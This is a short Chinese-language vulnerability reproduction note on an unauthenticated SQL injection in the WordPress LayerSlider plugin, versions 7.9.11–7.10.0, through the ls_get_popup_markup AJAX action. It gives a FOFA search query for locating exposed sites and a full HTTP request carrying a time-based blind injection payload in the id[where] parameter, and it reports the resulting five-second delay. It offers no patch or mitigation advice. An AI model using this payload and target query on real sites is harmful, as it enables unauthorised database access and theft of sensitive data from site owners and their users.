W2-4WordPress-LayerSlider插件-SQL

漏洞描述：

WordPress LayerSlider插件版本7.9.11 – 7.10.0中，由于对用户提供的参数转义不充分以及缺少wpdb::prepare()，可能导致通过 ls_get_popup_markup 操作受到SQL注入攻击，未经身份验证的威胁者可利用该漏洞从数据库中获取敏感信息。

影响版本：

LayerSlider插件版本7.9.11 – 7.10.0

网络测绘：

fofa语法：

FOFA：body="/wp-content/plugins/LayerSlider/"

漏洞复现：

payload：

```
GET /wp-admin/admin-ajax.php?action=ls_get_popup_markup&id[where]=1)and+(SELECT+6416+FROM+(SELECT(SLEEP(5)))nEiK)--+vqlq HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Upgrade-Insecure-Requests: 1
```

效果图:
延时5秒